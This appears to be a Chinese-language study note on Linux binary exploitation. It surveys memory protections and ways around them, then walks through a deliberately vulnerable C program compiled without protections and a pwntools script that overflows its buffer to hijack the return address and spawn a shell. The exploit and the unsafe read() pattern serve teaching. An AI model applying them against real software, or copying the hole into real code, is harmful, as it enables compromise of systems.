保护机制

1. NX (No-eXecute)

  • 简介:NX保护指的是将内存分为可执行和不可执行区域,从而禁止在数据区域(如栈或堆)上执行代码。

  • 防护目的:防止代码注入攻击(如栈溢出时执行shellcode)。

  • 绕过方式

  • 利用ROP (Return Oriented Programming),通过调用已有的代码片段(Gadget),组合成攻击链执行任意指令。

2. ASLR (Address Space Layout Randomization)

  • 简介:ASLR会随机化程序在内存中的加载地址,包括堆、栈、动态链接库和代码段等区域。

  • 防护目的:防止攻击者预知关键函数和缓冲区的地址,阻止对硬编码地址的利用。

  • 绕过方式

  • 信息泄露:通过信息泄露漏洞获取某些基址。

  • 局部溢出:通过栈偏移等方法获得部分地址。

3. Canary(栈保护)

  • 简介:Canary是在函数栈帧的返回地址之前放置一个特殊的值(Canary),当函数返回时会检查该值是否被篡改。如果值发生改变,则程序会检测到并终止执行。

  • 防护目的:防止栈溢出攻击修改返回地址。

  • 绕过方式

  • 利用信息泄露读取Canary值后再进行溢出。

  • 仅影响局部变量而不覆盖Canary。

4. RELRO (Read-Only Relocations)

  • 简介:RELRO分为部分(Partial)和完全(Full)两种。启用时,会使全局偏移表(GOT)变为只读,防止修改GOT表从而实现函数劫持。

  • Partial RELRO:程序在运行时仍然可以修改GOT。

  • Full RELRO:GOT表被标记为只读,不能再修改。

  • 防护目的:防止利用修改GOT表来重定向程序流(如函数劫持)。

  • 绕过方式

  • Partial RELRO下,依然可以通过GOT劫持。

  • Full RELRO比较难绕过,需要其他漏洞配合。

5. PIE (Position Independent Executable)

  • 简介:PIE允许程序代码段在内存中随机加载,类似于ASLR,但应用于程序自身的代码段。这意味着程序的函数和变量地址每次运行都会变化。

  • 防护目的:防止硬编码地址攻击,特别是对程序的直接攻击。

  • 绕过方式

  • 通过信息泄露获取偏移基址,再进行计算攻击。

6. Fortify Source

  • 简介:这是编译器提供的额外安全检查机制,能够在编译时加入对某些函数(如strcpy, sprintf)的额外检查,避免容易产生漏洞的代码。

  • 防护目的:减少程序员常见的漏洞类型,如缓冲区溢出。

  • 绕过方式

  • 更加精细的漏洞利用技巧,或者攻击未受到保护的函数。

7. Seccomp (Secure Computing Mode)

  • 简介:Seccomp是一种限制进程可以执行的系统调用(syscall)集合的机制。在程序启用Seccomp后,程序只能执行有限的系统调用,防止通过ROP或其他方式利用恶意系统调用。

  • 防护目的:减少攻击面,限制潜在的攻击方式(如避免execve等危险调用)。

  • 绕过方式

  • 寻找程序允许的系统调用中的漏洞。

  • 利用其他漏洞逃避Seccomp的限制。

8. Stack Smashing Protection (SSP)

  • 简介:SSP是编译器层面的一种栈保护机制,常见于gcc编译器中,防止函数栈帧中出现栈溢出。

  • 防护目的:防止局部缓冲区溢出对函数返回地址的破坏。

  • 绕过方式

  • 信息泄露配合使用,或绕过局部变量区域。

9. W^X(Write XOR Execute)

  • 简介:W^X是一种内存保护策略,确保每一个内存页要么是可写的,要么是可执行的,但不能同时为可写和可执行。该机制防止了攻击者将代码写入内存并立即执行。

  • 防护目的:防止代码注入和动态代码生成。

  • 绕过方式

  • 结合ROP、JOP等无代码注入的攻击技术。

溢出

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

在linux里gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

编译这个文件

objdump -t -j .text read

objdump介绍

objdump 是一个用于分析和反汇编二进制文件的工具,通常与 GNU 工具链一起使用。它可以处理多种格式的对象文件,包括 ELF、COFF 和 PE 文件,常用于查看可执行文件或库的内部结构。以下是 objdump 的一些主要功能和用法:

主要功能

  1. 反汇编

  • 使用 -d 选项,可以将机器代码转换为人类可读的汇编代码。

  • 示例:objdump -d filename

  1. 查看符号表

  • 使用 -t--syms 选项,可以列出对象文件中的符号表,显示函数和变量的信息。

  • 示例:objdump -t filename

  1. 显示文件头信息

  • 使用 -f--file-header 选项,可以查看文件的头部信息,包括格式、体系结构等。

  • 示例:objdump -f filename

  1. 查看节头信息

  • 使用 -h 选项,可以列出文件中所有节的信息,包括名称、大小和地址。

  • 示例:objdump -h filename

  1. 显示所有可用选项

  • 使用 --help 可以查看所有支持的命令和选项。

常用选项

  • -S:反汇编并交叉引用源代码。

  • -x:显示所有可用的信息,包括节、符号和重定位信息。

  • --disassemble:仅反汇编特定的符号。

示例

objdump -d my_program
objdump -t my_library.so
objdump -f my_executable

进入gdb,disass func 看一下汇编指令

from pwn import *

p = process('./read')
offset = 0x28 + 0x4
payload = b'a' * offset + p32(0x08049176)

p.sendline(payload)
p.interactive()
from pwn import *
send(data): 发送数据

sendline(data) : 发送一行数据,相当于在末尾加n      

recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时

recvuntil(delims, drop=False) : 接收到delims的pattern

(以下可以看作until的特例)

recvline(keepends=True) : 接收到n,keepends指定保留n

recvall() : 接收到EOF

recvrepeat(timeout=default) : 接收到EOF或timeout

interactive() : 与shell交互